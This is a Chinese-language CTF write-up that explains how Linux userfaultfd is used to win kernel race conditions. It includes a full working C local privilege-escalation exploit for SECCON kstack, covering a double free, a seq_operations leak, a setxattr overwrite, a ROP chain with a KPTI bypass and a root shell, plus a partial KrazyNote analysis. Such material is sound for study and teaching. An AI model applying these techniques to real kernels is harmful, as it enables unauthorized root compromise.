userfaultfd机制在Kernel提权中的应用
2021-04-29 11:35:29 Author: xz.aliyun.com(查看原文) 阅读量:274 收藏

userfaulfd 简介

内核内存包含两个部分:RAM,保存即将被使用的内存页;交换区,保存暂时闲置的内存页。然而有的内存即不在 RAM,也不在 交换区中,例如 mmap创建的内存映射页。在内核 read、write操作 mmap分配的内存前,内核并没有将该内存页映射到实际的物理页中。而当内核读取 mmap分配的内存页时,内核则会进行一下步骤为 mmap的内存页映射一个实际的物理页:

  1. 为 mmap内存页地址建立物理帧;
  2. 读内容到 该物理帧;
  3. 在页表中标记入口,以识别 0x1337000虚地址。
    这个整个过程,可以称作发生了一次缺页错误,将会导致内核切换上下文和中断。

而 userfaultfd机制可以让用户来监管此类缺页错误,并在用户空间完成对这类错误的处理。也就是一旦我们在内核触发了一次缺页错误,可以利用用户态的程序去穿插执行一些操作,这为我们内核条件竞争的利用提供了很大方便。

基本步骤

创建一个描述符 uffd

要使用 userfaultfd,需要先创建一个 uffd

// userfaultfd系统调用创建并返回一个uffd,类似一个文件的fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

之后所有的注册内存区间、配置和最终的缺页处理都需要用 ioctl对这个 uffd操作实现。ioctl-userfaultfd支持 UFFDIO_API、UFFDIO_REGISTER、UFFDIO_UNREGISTER、UFFDIO_COPY、UFFDIO_ZEROPAGE、UFFDIO_WAKE等选项。其中 UFFDIO_REGISTER可以用于向 userfaultfd机制注册一个监视去也。UFFDIO_COPY可用于当发生缺页错误时,向缺页的地址拷贝自定义的数据。

# 2 个用于注册、注销的ioctl选项:
UFFDIO_REGISTER                 注册将触发user-fault的内存地址
UFFDIO_UNREGISTER               注销将触发user-fault的内存地址
# 3 个用于处理user-fault事件的ioctl选项:
UFFDIO_COPY                     用已知数据填充user-fault页
UFFDIO_ZEROPAGE                 user-fault页填零
UFFDIO_WAKE                     用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 
                                UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充

注册监视区域

然后,需要为监视的内存进行注册。这里使用上述提到的 UFFDIO_REGISETR操作:

addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr 和 len 分别是我匿名映射返回的地址和长度,赋值到uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode 只支持 UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// 用ioctl的UFFDIO_REGISTER注册
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

这里,需要指定的 监视的 地址和长度,然后调用 ioctl进行注册。

创建一个专用的线程轮询和处理 user-fault事件

然后,需要创建一个线程用于轮询和处理 user-fault事件。这里可以重启一个线程,因为需要轮询,避免阻塞主线程。

// 主进程中调用pthread_create创建一个fault handler线程
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);

在子线程中,使用 poll函数轮询 uffd,当轮询到缺页事件后,可以先写上自己的处理代码,随后用轮询到的 UFFD_EVENT_PAGEFAULT事件用上述提到的 UFFDIO_COPY拷贝数据到缺页处。

static void * fault_handler_thread(void *arg)
{    
    // 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
    static struct uffd_msg msg;
    // ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
    struct uffdio_copy uffdio_copy;
    uffd = (long) arg;
    ......
    for (;;) { // 此线程不断进行polling,所以是死循环
        // poll需要我们构造一个struct pollfd对象
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        poll(&pollfd, 1, -1);
        // 读出user-fault相关信息
        read(uffd, &msg, sizeof(msg));
        // 对于我们所注册的一般user-fault功能,都应是UFFD_EVENT_PAGEFAULT这个事件
        assert(msg.event == UFFD_EVENT_PAGEFAULT);

        //我们自己的处理代码

        // 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        // page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
        ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
            ......
    }
}

而在上述的处理函数中,穿插的我们自己的处理代码,就可以帮助实现条件竞争。

2020-SECCON kstack

程序分析

__int64 proc_init()
{
  proc_file_entry = proc_create("stack", 0LL, 0LL, &proc_file_fops);
  return proc_file_entry == 0 ? 0xFFFFFFF4 : 0;
}

在 proc_init中注册了一个 proc_file_fops结构体,然后将该结构体的 unlocked_ioctl设置为了 proc_ioctl函数,该函数如下:

__int64 __fastcall proc_ioctl(__int64 a1, int a2, __int64 a3)
{
  int v4; // er12
  __int64 head_chunk; // r13
  __int64 chunk1; // rbx
  __int64 result; // rax
  __int64 chunk; // rbx
  __int64 v9; // rax

  v4 = *(_DWORD *)(__readgsqword((unsigned int)&current_task) + 0x35C);
  if ( a2 == 1470889985 )
  {
    chunk = kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL);
    *(_DWORD *)chunk = v4;
    v9 = head;
    head = chunk;
    *(_QWORD *)(chunk + 16) = v9;
    if ( !copy_from_user(chunk + 8, a3, 8LL) )
      return 0LL;
    head = *(_QWORD *)(chunk + 16);
    kfree(chunk);
    result = -22LL;
  }
  else
  {
    if ( a2 != 0x57AC0002 )
      return 0LL;
    head_chunk = head;
    if ( !head )
      return 0LL;
    if ( v4 == *(_DWORD *)head )
    {
      if ( !copy_to_user(a3, head + 8, 8LL) )
      {
        chunk1 = head_chunk;
        head = *(_QWORD *)(head_chunk + 16);
        goto LABEL_12;
      }
    }
    else
    {
      chunk1 = *(_QWORD *)(head + 16);
      if ( chunk1 )
      {
        while ( *(_DWORD *)chunk1 != v4 )
        {
          head_chunk = chunk1;
          if ( !*(_QWORD *)(chunk1 + 16) )
            goto LABEL_16;
          chunk1 = *(_QWORD *)(chunk1 + 16);
        }
        if ( !copy_to_user(a3, chunk1 + 8, 8LL) )
        {
          *(_QWORD *)(head_chunk + 16) = *(_QWORD *)(chunk1 + 16);
LABEL_12:
          kfree(chunk1);
          return 0LL;
        }
      }
    }
LABEL_16:
    result = -22LL;
  }
  return result;
}

题目名称就叫 kstack,所以意图很明显就是模拟了一个 stack的push和 pop过程,head就是 栈顶 rsp,head+0x10指向了下一个栈结构。

其中 push,会先申请一个 0x20的 slub,然后将 0x8处存上用户输入的数据,将 0x10处 赋值为 head,再将该 slub释放掉,将 head指针还原为 slub+0x10。

pop,会根据 v4从当前栈顶 head开始找到符合要求的 slub,将 0x8的数据输出给用户,然后将 该 slub释放掉。

程序总体流程没什么明显的漏洞,但是其处理函数是 unlocked_ioctl类型,而该类型是不使用内核提供的全局同步锁。所以这里就存在多线程竞争的漏洞。比如两个线程同时执行 pop,那么有可能存在当线程 1执行到 已经取得 需要 释放的 slub地址时,线程2 已经将 该 slub释放掉,然后 线程1 再次释放该 slub,最终导致一个 double free漏洞。

而这里为了保证多线程竞争的百分百成功率,可以考虑 userfaultfd,来构造一个百分百成功的 double free漏洞。

利用分析

  1. double free 漏洞构造

关于 userfaultfd的原理,在之前已经讲述过。这里和之前唯一不同的是,我们在处理线程中创建一个循环,不断使用 pool来等待 userfault fd,然后读取 uffd msg。在后面写上自己的处理函数,这样就能一直针对缺页错误,进行一次 hook处理。

for (;;) {

   /* See what poll() tells us about the userfaultfd */

   struct pollfd pollfd;
   int nready;
   pollfd.fd = uffd;
   pollfd.events = POLLIN;
   nready = poll(&pollfd, 1, -1);
   if (nready == -1)
       errExit("poll");

   printf("\nfault_handler_thread():\n");
   printf("    poll() returns: nready = %d; "
           "POLLIN = %d; POLLERR = %d\n", nready,
           (pollfd.revents & POLLIN) != 0,
           (pollfd.revents & POLLERR) != 0);

   /* Read an event from the userfaultfd */

   nread = read(uffd, &msg, sizeof(msg));
   if (nread == 0) {
       printf("EOF on userfaultfd!\n");
       exit(EXIT_FAILURE);
   }

   if (nread == -1)
       errExit("read");

   //input your code
...

那么,这里我们只需要在 handler中,写上针对不同缺页错误的,不同处理方式就可以。这里我们第一次调用缺页错误是为了构造一个 double free,构造的方式是 在执行一次 pop的 kfree之前,穿插执行一次 pop。所以我们利用 pop来构造一个 缺页错误。并在handle中再次执行一次 pop,这样就可以将同一个 slub执行两次释放,造成一个 double free错误。

handle中处理函数如下:

puts("First Double Free");
                Output(&value);
                printf("[+] faultd free ok, popped: %016lx\n", value);
                break;

缺页错误触发如下,由于这里的 fault_ptr是由 mmap创建的,所以会产生一个缺页错误。

puts("Doubel free:");
    Output(fault_ptr);
    puts(" 1 double free ok");
    usleep(300);

这里简单分析一下这个double free的总体执行流程:

主线程:                                handler:
Output(fault_ptr)
  copy_to_user(fault_ptr)触发缺页错误
                                        Output(value)
                                            copy_to_user(value)
                                            kfree(slub)     //第一次释放slub
                                            ioctl(uffd, UFFDIO_COPY, &uffdio_copy) //恢复主线程的copy_to_user
  kfree(slub)   //造成double free
  1. 泄露地址

这里由于 slub 大小只有 0x20,所以这里不能选用 tty_struct,这里可以选用 seq_operations结构体,其大小也为 0x20,而且其包含了4个函数指针,可以便于我们泄露地址:

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

其使用方法如下:

int victim = open("/proc/self/stat", O_RDONLY); //申请kmalloc-32 slub
read(victim, buf, 1); // call start

我们可以先申请一个 seq_operations结构体,其会分配为第一步中释放的 slub。

然后这里我们不能够直接使用 pop读取出来,因为 此时 head链表中已经没有该 slub,我们需要先利用 push将该 slub申请回来。但是我们又不能直接使用 push,因为 push会将申请的 slub+0x8的数据覆盖,而 pop只能读取 slub+0x8的数据。所以这里又要利用一次 userfault来使得 push在执行到 kmalloc后 和 copy_from_user之前前,先利用 pop将 head中的 slub读取出来,最后再执行 copy_from_user。

这里 handle处理函数如下:

// overlap Element and seq_operations (caused by push)
                puts("Second Output to get kernel_addr");
                Output(&value);
                printf("[+] fault get addr ok, popped: %016lx\n", value);
                kernel_base = value - offset;
                break;

其触发方法如下:

puts("leak kernel_addr:");
    int fd1 = open("/proc/self/stat", O_RDONLY);
    if(fd1 < 0 ){
        Err("Alloc stat");
    }
    Input(fault_ptr+0x1000);
    printf("Got kernel_base: 0x%llx\n",kernel_base);
    usleep(300);
  1. 再次构造一个 double free
  2. 覆盖函数指针

这里覆盖函数指针的方法,用到了 userfault+setxattr和 seq_operations结合。先堆喷一个 seq_operations结构体,再利用 sexattr来 修改 seq_operations结构体中的函数指针。

堆喷 seq_operations结构体:

// overlap seq_operations and setxattr buffer (cause by setxattr)
                puts("Fourth alloc seq_operations");
                victim_fd = open("/proc/self/stat", O_RDONLY);
                printf("[+] alloc ok, victim fd: %d\n", victim_fd);

经过上面的操作,就会将第3步构造的 double free的 一个 slub分配给 seq_operations结构体。

然后,再将剩下的一个 slub分配给 setxattr,然后利用 setxattr来修改 该 slub的前 0x20字节。当 sexattr修改了slub的前 0x20字节,那么此时 seq_operation结构体的前 0x20字节的指针也被修改了。然后选择将 start指针修改为 栈迁移的 gadget。

char* data[0x30] = { 0 };
memset(data, '0', 0x30);
*(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot;

setxattr("/tmp", "seccon",
           (void*)((unsigned long)data),
           0x20, XATTR_CREATE);
    puts("change ok");

这里栈迁移的 gadget选择,没有选择之前的 xchg指令,而是选择了 mov esp, 0x5d000010的 gadget更加方便。我们只需要将 rop布置在 0x5d000010的位置即可。

  1. 构造 ROP

ROP的构造就是很经典的方法,不过这里注意开启了 KPTI,所以需要绕过 KPTI保护。这里可以使用 修改 cr3寄存器的方法,但我选择使用另一种方法就是直接利用 swapgs_restore_regs_and_return_to_usermode这个函数返回,即可实现绕过 KPTI并且返回到用用户层。然后这里注意,使用该方法返回到用户层时,user_sp需要设置为一个 可执行的地址。这里就选择之前 mmap分配的一块地址即可,否则会被一个段错误。当然这个段错误也可以通过 signal捕获,然后再次执行 system来绕过。

EXP

// gcc -static -pthread exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <poll.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>


int fd = 0;
char bf[0x100] = { 0 };
size_t fault_ptr;
size_t fault_len = 0x4000;
size_t kernel_base = 0x0;
size_t offset = 0x13be80;
size_t victim_fd = 0;
size_t stack_pivot = 0x02cae0;
size_t preapre_kernel_cred = 0x069e00;
size_t commit_creds = 0x069c10;
size_t p_rdi_r = 0x034505;
size_t mov_rdi_rax_p_rbp_r = 0x01877f;
size_t swapgs = 0x03ef24;
size_t iretq = 0x01d5c6;
size_t kpti_bypass = 0x600a4a;
size_t user_cs, user_ss, user_sp, user_rflags;

void Err(char* buf){
    printf("%s Error\n", buf);
    exit(-1);
}

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

void savestatus(){
  asm("movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
      :: "memory");
}

void get_shell(){
    if(!getuid()){
        puts("Root Now!");
        //system("/bin/sh");
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
}

void Input(char* buf){
    if(-1 == ioctl(fd, 1470889985, buf)){
        Err("Input");
    }
    puts("  [=] input ok");
}

void Output(char* buf){
    if(-1 == ioctl(fd, 1470889986, buf)){
        Err("Output");
    }
    puts("  [=] output ok");
}

int page_size;
void* handler(void *arg){
    unsigned long value;
    static struct uffd_msg msg;
    static int fault_cnt = 0;
    long uffd;
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    int len, i;

    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED) fatal("mmap (userfaultfd)");
    }

    uffd = (long)arg;

    for(;;) {
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        len = poll(&pollfd, 1, -1);
        if (len == -1) fatal("poll");

        printf("[+] fault_handler_thread():\n");
        printf("    poll() returns: nready = %d; "
           "POLLIN = %d; POLLERR = %d\n", len,
           (pollfd.revents & POLLIN) != 0,
           (pollfd.revents & POLLERR) != 0);

        len = read(uffd, &msg, sizeof(msg));
        if (len == 0) fatal("userfaultfd EOF");
        if (len == -1) fatal("read");
        if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event");

        printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
        printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
        printf("    address = 0x%lx\n", msg.arg.pagefault.address);
        printf("[!] fault_cnt: %d\n",fault_cnt);
        switch(fault_cnt) {
            case 0:
                puts("  [1.1] First Double Free");
                Output(&value);
                printf("  [1.1] faultd free ok, popped: %016lx\n", value);
                break;
            case 1:
                // overlap Element and seq_operations (caused by push)
                puts("  [2.1] Second Output to get kernel_addr");
                Output(&value);
                printf("  [2.1] fault get addr ok, popped: %016lx\n", value);
                kernel_base = value - offset;
                break;
            case 2:
                // double free (caused by pop)
                puts("  [3.1]Third Double free");
                Output(&value);
                printf("  [3.1]fault free ok, popped: %016lx\n", value);
                break;
            default:
                puts("ponta!");
                getchar();
                break;
        }

        // return to kernel-land
        uffdio_copy.src = (unsigned long)page;
        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY");
        printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
        fault_cnt++;
    }  
}

size_t register_userfault(size_t addr, size_t len){
    long uffd;        
//    char *addr;       
//    size_t len = 0x1000;
    pthread_t thr; 
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    // new userfaulfd
    page_size = sysconf(_SC_PAGE_SIZE);
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
    {
        puts("userfaultfd\n");
        exit(-1);
    }

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)      // create the user fault fd
    {
        puts("ioctl uffd err\n");
        exit(-1);
    }
//    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,       //create page used for user fault
//                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
//    if (addr == MAP_FAILED)
//    {
//        puts("map err\n");
//        exit(-1);
//    }

    printf("Address returned by mmap() = %p\n", addr);
    uffdio_register.range.start = (size_t) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd,这样只要copy_from_user
//                                       //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
    {
        puts("ioctl register err\n");
        exit(-1);
    }

    s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
    if (s != 0) {
        errno = s;
        puts("pthread create err\n");
        exit(-1);
    }
    return addr;
}

void prepare_ROP(){
    char* rop_mem = mmap((void*)0x5d000000 - 0x8000, 0x10000, 
        PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON | MAP_POPULATE, -1, 0);

    unsigned long* rop_addr = (unsigned long*)(rop_mem+0x8000+0x10);
    int i = 0;
    rop_addr[i++] = p_rdi_r+kernel_base;
    rop_addr[i++] = 0;
    rop_addr[i++] = preapre_kernel_cred+kernel_base;
    rop_addr[i++] = mov_rdi_rax_p_rbp_r+kernel_base;
    rop_addr[i++] = 0;
    rop_addr[i++] = commit_creds+kernel_base;
    // rop_addr[i++] = swapgs+kernel_base;
    // rop_addr[i++] = 0;
    // rop_addr[i++] = iretq+kernel_base;
    rop_addr[i++] = kpti_bypass+kernel_base;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = get_shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = 0x5d000000-0x8000+0x900;
    rop_addr[i++] = user_ss;
}

int main(){
    savestatus();
    //register page fault
    fault_ptr = mmap(NULL, fault_len, PROT_READ | PROT_WRITE,       //create page used for user fault
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (fault_ptr == MAP_FAILED)
    {
        puts("map err\n");
        exit(-1);
    }

    register_userfault(fault_ptr, fault_len);

    fd = open("/proc/stack", O_RDONLY);
    if(fd < 0){
        Err("Open dev");
    }

    char* buf = malloc(0x100);
    memset(buf, "a", 0x100);

    //fault_ptr = register_userfault();
    Input(buf);
    memset(buf, "b", 0x100);
    Input(buf);

    puts("[1] Doubel free:");
    Output(fault_ptr);
    puts("[1] double free ok");
    usleep(300);

    puts("[2] leak kernel_addr:");
    int fd1 = open("/proc/self/stat", O_RDONLY);
    if(fd1 < 0 ){
        Err("Alloc stat");
    }
    Input(fault_ptr+0x1000);
    printf("[2] Got kernel_base: 0x%llx\n",kernel_base);
    usleep(300);

    puts("[3] Doubel free again");
    Input(buf);
    Output(fault_ptr+0x2000);
    puts("[3] double free ok");
    usleep(300);

    //prepare data
    char* data[0x30] = { 0 };
    memset(data, '0', 0x30);
    *(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot; 

    puts("[4] Setxattr to change seq_operations->star ptr");
    puts("  [4.1] Fourth alloc seq_operations");
    victim_fd = open("/proc/self/stat", O_RDONLY);
    printf("  [4.1] alloc ok, victim fd: %d\n", victim_fd);

    setxattr("/tmp", "seccon",
           (void*)((unsigned long)data),
           0x20, XATTR_CREATE);
    puts("[4] change ok");
    usleep(300);

    puts("[5] Prepare ROP");
    prepare_ROP();

    puts("[6] Trigger vul");
    read(victim_fd, buf, 1);

    return 0;
}

2019-BalsnCTF KrazyNote

程序分析

__int64 __fastcall init_module(__int64 a1, __int64 a2)
{
  _fentry__(a1, a2);
  bufptr = (__int64)&unk_B60;
  return misc_register(&unk_620);
}

程序首先注册了一个 unk_B60结构,该结构体为 miscdevice

struct miscdevice  {
    int minor;
    const char *name;
    const struct file_operations *fops;
    struct list_head list;
    struct device *parent;
    struct device *this_device;
    const struct attribute_group **groups;
    const char *nodename;
    umode_t mode;
};

然后,可以看一下 其中 fops注册的结构 file_operations:

// file_operations结构
struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
    ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
    int (*iopoll)(struct kiocb *kiocb, bool spin);
    int (*iterate) (struct file *, struct dir_context *);
    int (*iterate_shared) (struct file *, struct dir_context *);
    __poll_t (*poll) (struct file *, struct poll_table_struct *);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);

    ... truncated
};

可以看到该结构体,是对 file进行操作的结构体。我们看一下数据,会发现该结构体中,就有两个地方定义了函数 sub_10和 sub_0。而这两个地方刚好对应结构体的 unlocked_ioctl和 open指针,其他都是null。unlocked_ioctl和compat_ioctl有区别,unlocked_ioctl不使用内核提供的全局同步锁,所有的同步原语需自己实现,所以可能存在条件竞争漏洞。
sub_0函数没什么东西,我们主要具体分析 unlocked_ioctl对应的sub_10函数,其主要实现了 new\edit\show\delete功能。然后主要有两个结构体,一个是 note,一个是用户传入的结构体 noteRequest :

// note结构——存储的note
struct note {
    unsigned long key;
    unsigned char length;
    void *contentPtr;
    char content[];
}
// noteRequest结构——用户参数
struct noteRequest{
  size_t idx;
  size_t length;
  size_t userptr;
}

note中 key是用于加密存储数据的,length是数据的长度,content[]是一个动态数组的地址,用于存储数据;而 contentPtr=&note->content - page_offset_base,别名页的地址是[SOME_OFFSET + physical address],page_offset_base就是这个SOME_OFFSET。

if ( (unsigned int)a2 <= 0xFFFFFF01 )
  {
    if ( (_DWORD)a2 != -256 )                   // New
      return -25LL;
    idx = -1LL;
    v7 = 0LL;
    while ( 1 )                                 // get freed note
    {
      idx1 = (int)v7;
      if ( !note_list[v7] )
        break;
      if ( ++v7 == 16 )
        return -14LL;
    }
    new_note = (_QWORD *)bufptr;
    idx = idx1;
    note_list[idx1] = bufptr;
    new_note[1] = note_length1;
    v21 = (char *)(new_note + 3);
    *new_note = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 2024) + 80LL);
    v22 = n;
    v23 = userbuf1;
    bufptr = (__int64)new_note + n + 24;        // get next free mem
    if ( n > 0x100 )
    {
      _warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, n);
      BUG();
    }
    _check_object_size(encbuf, n, 0LL);
    copy_from_user(encbuf, v23, v22);
    v24 = n;
    v25 = (_QWORD *)note_list[idx];
    if ( n )
    {
      v26 = 0LL;
      do
      {
        encbuf[v26 / 8] ^= *v25;
        v26 += 8LL;
      }
      while ( v26 < v24 );
    }
    memcpy(v21, encbuf, v24);
    result = 0LL;
    v25[2] = &v21[-page_offset_base];
  }

New函数中,会首先从 note_list中得到空闲的note的idx,然后从 bufptr中取出空闲的地址,并将其赋值给 note结构,然后依次赋值 length 和 contentPtr。并将 bufptr指向下一处空闲地址,随后取出 encbuf,将用户数据拷贝到 encbuf,然后依次使用 key加密,最后将加密数据拷贝到 note->content。

if ( (_DWORD)a2 == 0xFFFFFF01 )               // Edit
  {
    note = note_list[idx2];
    if ( note )
    {
      note_length = *(unsigned __int8 *)(note + 8);
      user_buf1 = userbuf1;
      contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base);
      _check_object_size(encbuf, note_length, 0LL);
      copy_from_user(encbuf, user_buf1, note_length);// get user new input
      if ( note_length )
      {
        key = (_QWORD *)note_list[idx];
        for ( i = 0LL; i < note_length; i += 8LL )
          encbuf[i / 8] ^= *key;                // enc new data
        if ( (unsigned int)note_length >= 8 )
        {
          *contentArr1 = encbuf[0];
          *(_QWORD *)((char *)contentArr1 + (unsigned int)note_length - 8) = *(__int64 *)((char *)&userbuf1
                                                                                        + (unsigned int)note_length);
          result = 0LL;
          qmemcpy(                              // copy new data to contentArr
            (void *)((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL),
            (const void *)((char *)encbuf
                         - ((char *)contentArr1
                          - ((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
            8LL
          * (((unsigned int)note_length + (_DWORD)contentArr1 - (((_DWORD)contentArr1 + 8) & 0xFFFFFFF8)) >> 3));
          return result;
        }
      }

Edit看着有点乱,但是总体逻辑还是 将用户输入 通过 copy_from_user拷贝到 encbuf,然后取出 note->content地址,将 encbuf数据加密后,拷贝到 note->content中。这里 注意: copy_from_user并不是原子性的操作,也并没有上锁,按照我们之前的分析缺页可以让其有一个很大的空窗期供我们操作,进而利用竞争改掉某些关键数据

if ( (_DWORD)a2 != -254 )
    {
      note_ptr = note_list;
      if ( (_DWORD)a2 == -253 )                 // delete
      {
        do
          *note_ptr++ = 0LL;
        while ( &_check_object_size != (__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD))note_ptr );
        result = 0LL;
        bufptr = (__int64)&unk_B60;
        memset(&unk_B60, 0, 0x2000uLL);
        return result;
      }
      return -25LL;
    }

delete函数很简单,将相应 note都清空,然后将 bufptr里都赋值为 0。

if ( note2 )                                // Show
    {
      userlen2 = *(unsigned __int8 *)(note2 + 8);
      contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);
      if ( (unsigned int)userlen2 >= 8 )
      {
        *(__int64 *)((char *)&userbuf1 + *(unsigned __int8 *)(note2 + 8)) = *(_QWORD *)((char *)contentArr2
                                                                                      + *(unsigned __int8 *)(note2 + 8)
                                                                                      - 8);
        qmemcpy(encbuf, contentArr2, 8LL * ((unsigned int)(userlen2 - 1) >> 3));
      }
      else if ( (userlen2 & 4) != 0 )
      {
        LODWORD(encbuf[0]) = *contentArr2;
        *(_DWORD *)((char *)encbuf + (unsigned int)userlen2 - 4) = *(_DWORD *)((char *)contentArr2
                                                                             + (unsigned int)userlen2
                                                                             - 4);
      }
      else if ( *(_BYTE *)(note2 + 8) )
      {
        LOBYTE(encbuf[0]) = *(_BYTE *)contentArr2;
        if ( (userlen2 & 2) != 0 )
          *(_WORD *)((char *)encbuf + (unsigned int)userlen2 - 2) = *(_WORD *)((char *)contentArr2
                                                                             + (unsigned int)userlen2
                                                                             - 2);
      }
      if ( userlen2 )
      {
        for ( j = 0LL; j < userlen2; j += 8LL )
          encbuf[j / 8] ^= *(_QWORD *)note2;    // dec data
      }
      user_buf2 = userbuf1;
      _check_object_size(encbuf, userlen2, 1LL);
      copy_to_user(user_buf2, encbuf, userlen2);
      result = 0LL;
    }

show函数,取出 note->content中加密的数据,解密后,使用 copy_to_user拷贝给用户空间。

利用分析

上面已经将 程序漏洞说明 是位于 Edit中 copy_from_user并非原子操作,其十分耗时,导致我们可以利用这个空闲时间,使用 userfault来执行某些操作,条件竞争制造漏洞。

  1. 缓冲区溢出构造

我们首先需要构造一个 堆溢出漏洞。先 New(buffer, 0x10),创建 note[0]。此时在空闲内存中的布局为,一个 note_struct的空间,加上 0x10的buf空间。

note_struct //note[0]
0x10 buf

然后 按照上面 userfaultfd的处理流程,先使用 register_userfault()注册一个 userfaultfd处理程序。然后使用 Edit(0,1 PAGE_FAULT)。这里我们将 PAGE_FAULT定义为 一个地址,这里 Edit函数 会对该 地址指向的内存 进行访问,而这个地址并没有相应的页面映射,所以这里就会造成一次 userfaultfd错误,然后我们就可以使用我们自己的注册 userfaultfd处理程序来接管程序,从而在 一次内核操作中,完成属于我们自己的操作。从而造成条件竞争。

我们在自己的 handler函数中,完成了如下步骤:

//现在主线程停在copy_from_user函数了,可以进行利用了
    delete();
    create(buffer, 0);
    create(buffer, 0);
    // 原始内存:note0 struct + 0x10 buffer
    // 当前内存:note0 struct + note1 struct
    // 当主线程继续拷贝时,就会破坏note1区域

    if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用
        errExit("[-] Error in reading uffd_msg");

    struct uffdio_copy uc;
    memset(buffer, 0, sizeof(buffer));
    buffer[8] = 0xf0; //把note1 的length改成0xf0

    uc.src = (unsigned long)buffer;
    uc.dst = (unsigned long)FAULT_PAGE;
    uc.len = 0x1000;
    uc.mode = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复执行copy_from_user

    puts("[+] done 1");
    return NULL;

可以看到,我们先删掉了 note[0],然后又创建了 两个 note,大小都为0。而这里我们新创建的new_note[0](这里我以 new_note[0]来区分我们最开始创建的 note[0]) 与 note[0]就发生了 内存共用,而 note[1]的 结构体刚好为 note[0]的buf区域,也即我们后续可以通过 edit(note[0])来修改 note[1]结构体的内容。此时内存布局如下:

note_struct         //new_note[0]
note_struct         //note[1]

